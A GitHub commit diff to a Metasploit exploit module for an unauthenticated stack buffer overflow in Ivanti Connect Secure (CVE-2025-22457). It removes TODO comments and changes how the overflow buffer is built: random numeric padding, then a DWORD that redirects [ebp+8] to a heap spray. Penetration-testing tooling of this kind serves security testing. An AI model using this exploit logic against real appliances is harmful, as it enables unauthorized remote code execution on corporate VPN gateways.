Skip to content

Commit 3d12183

Browse files
Fix from code review #2
1 parent 4aea95f commit 3d12183

File tree

1 file changed

+4
-12
lines changed

1 file changed

+4
-12
lines changed

modules/exploits/linux/http/ivanti_connect_secure_stack_overflow_rce_cve_2025_22457.rb

Lines changed: 4 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -23,7 +23,6 @@ def initialize(info = {})
2323
update_info(
2424
info,
2525
'Name' => 'Ivanti Connect Secure Unauthenticated Remote Code Execution via Stack-based Buffer Overflow',
26-
# TODO
2726
'Description' => %q{
2827
This module exploits a Stack-based Buffer Overflow vulnerability in
2928
Ivanti Connect Secure to achieve remote code execution
@@ -94,7 +93,6 @@ def validate_options
9493
if datastore['WEB_CHILDREN'] < 1
9594
fail_with(Failure::BadConfig, "WEB_CHILDREN should be at least 1 (current value: #{datastore['WEB_CHILDREN']})")
9695
end
97-
# TODO
9896
end
9997

10098
# https://github.com/BishopFox/CVE-2025-0282-check/blob/main/scan-cve-2025-0282.py#L6
@@ -314,16 +312,10 @@ def spray(libdsplibs_base)
314312
def trigger
315313
print_status('Triggering...')
316314

317-
buffer = '1' * @target[:overflow_length]
318-
319-
buffer += [
320-
0x31313131,
321-
0x32323232,
322-
0x33333333,
323-
0x34343434,
324-
0x35353535,
325-
0x39393830 # [ebp+8] and it will now point to our spray pattern
326-
].pack('V*')
315+
# Build the buffer with only numerical values
316+
buffer = rand_text_numeric(@target[:overflow_length])
317+
buffer += rand_text_numeric(4 * 5) # add 5 more DWORD's
318+
buffer += [0x39393830].pack('V') # [ebp+8] and it will now point to our spray pattern
327319

328320
fail_with(Failure::BadConfig, 'bad chars in buffer, only 0123456789. allowed') unless buffer.scan(/^[\d.]+$/).any?
329321

0 commit comments

Comments
 (0)